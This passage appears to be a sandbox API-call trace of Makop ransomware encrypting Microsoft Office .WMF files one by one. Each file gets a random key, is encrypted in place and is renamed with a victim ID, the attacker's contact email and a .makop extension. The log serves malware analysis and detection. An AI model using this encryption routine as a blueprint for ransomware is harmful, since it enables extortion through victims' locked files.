dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.647] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.647] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.648] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.648] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.648] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.648] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.648] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.649] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6d4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6d4, lpOverlapped=0x0) returned 1 [0166.649] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6e0, dwBufLen=0x6e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6e0) returned 1 [0166.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.649] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6e0, lpOverlapped=0x0) returned 1 [0166.649] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.649] SetEndOfFile (hFile=0x130) returned 1 [0166.655] GetProcessHeap () returned 0x48a0000 [0166.655] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.655] GetProcessHeap () returned 0x48a0000 [0166.655] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.655] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.662] CloseHandle (hObject=0x130) returned 1 [0166.662] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0166.662] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF") returned 70 [0166.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.665] GetProcessHeap () returned 0x48a0000 [0166.665] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.665] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.666] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.670] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.670] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.670] GetProcessHeap () returned 0x48a0000 [0166.670] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.670] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.670] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.670] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.670] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.670] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.671] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.671] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.671] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5fc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5fc, lpOverlapped=0x0) returned 1 [0166.672] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x600, dwBufLen=0x600 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x600) returned 1 [0166.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.672] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x600, lpOverlapped=0x0) returned 1 [0166.672] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.672] SetEndOfFile (hFile=0x130) returned 1 [0166.678] GetProcessHeap () returned 0x48a0000 [0166.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.678] GetProcessHeap () returned 0x48a0000 [0166.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.678] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.680] CloseHandle (hObject=0x130) returned 1 [0166.680] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0166.680] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF") returned 70 [0166.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.682] GetProcessHeap () returned 0x48a0000 [0166.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.682] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.687] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.687] GetProcessHeap () returned 0x48a0000 [0166.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.687] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.687] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.687] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.687] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.687] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.688] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.688] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.688] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.688] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x634, lpOverlapped=0x0) returned 1 [0166.688] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x640) returned 1 [0166.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.689] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x640, lpOverlapped=0x0) returned 1 [0166.689] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.689] SetEndOfFile (hFile=0x130) returned 1 [0166.694] GetProcessHeap () returned 0x48a0000 [0166.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.694] GetProcessHeap () returned 0x48a0000 [0166.695] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.695] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.697] CloseHandle (hObject=0x130) returned 1 [0166.697] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0166.697] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF") returned 70 [0166.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.698] GetProcessHeap () returned 0x48a0000 [0166.699] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.699] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.699] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.703] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.703] GetProcessHeap () returned 0x48a0000 [0166.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.703] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.703] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.703] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.703] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.703] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.703] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.704] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.704] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.704] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x93c4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x93c4, lpOverlapped=0x0) returned 1 [0166.706] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x93d0, dwBufLen=0x93d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x93d0) returned 1 [0166.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.706] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x93d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x93d0, lpOverlapped=0x0) returned 1 [0166.707] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x94a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.707] SetEndOfFile (hFile=0x130) returned 1 [0166.713] GetProcessHeap () returned 0x48a0000 [0166.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.713] GetProcessHeap () returned 0x48a0000 [0166.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.713] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.715] CloseHandle (hObject=0x130) returned 1 [0166.715] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0166.716] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF") returned 70 [0166.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.717] GetProcessHeap () returned 0x48a0000 [0166.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.717] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.717] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 